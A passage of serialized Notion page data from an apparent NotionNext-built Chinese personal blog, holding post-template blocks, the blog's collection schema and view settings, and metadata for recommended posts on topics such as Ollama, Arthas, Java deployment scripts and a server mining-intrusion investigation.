-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fa7c273f-dd86-48c3-a29a-1312f486273f"}},"96ece850-8ea7-4392-aa14-5652d12c0e85":{"value":{"id":"96ece850-8ea7-4392-aa14-5652d12c0e85","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"1358a33c-a6af-472b-b8ce-4ef9ae234be5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"1358a33c-a6af-472b-b8ce-4ef9ae234be5"}},"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad":{"value":{"id":"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"877fb635-975e-4861-ab6c-312fa64f506c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"877fb635-975e-4861-ab6c-312fa64f506c"}},"0824d5ea-eb31-48ac-9395-01a217b32b7d":{"value":{"id":"0824d5ea-eb31-48ac-9395-01a217b32b7d","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"193aeb1c-70d0-4348-9f42-039692abd89e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"193aeb1c-70d0-4348-9f42-039692abd89e"}},"c12fce83-2492-406d-ae08-a07b3da800c0":{"value":{"id":"c12fce83-2492-406d-ae08-a07b3da800c0","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"0feea3ad-52ca-4874-a9d7-349109f3ae25","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"0feea3ad-52ca-4874-a9d7-349109f3ae25"}},"033e1eff-5111-4814-a316-b18a825cd37f":{"value":{"id":"033e1eff-5111-4814-a316-b18a825cd37f","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c"}},"9da00a5e-0324-42dd-951e-4a7f0357a394":{"value":{"id":"9da00a5e-0324-42dd-951e-4a7f0357a394","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"9d718003-3670-4898-bc5f-347e7a352572","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9d718003-3670-4898-bc5f-347e7a352572"}},"1da35185-65c3-4334-9a03-4627538afd8a":{"value":{"id":"1da35185-65c3-4334-9a03-4627538afd8a","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"7279b3b5-6745-4b08-93a6-3523963d454d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7279b3b5-6745-4b08-93a6-3523963d454d"}},"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a":{"value":{"id":"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","type":"text","format":{"copied_from_pointer":{"id":"20ffef44-56b9-4484-bef1-552ac2029985","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"20ffef44-56b9-4484-bef1-552ac2029985"}},"5bee4538-9df1-457d-9698-67f05ee5fb11":{"value":{"id":"5bee4538-9df1-457d-9698-67f05ee5fb11","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"fb47af46-83db-4e8d-aca9-f2fae4100812","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fb47af46-83db-4e8d-aca9-f2fae4100812"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 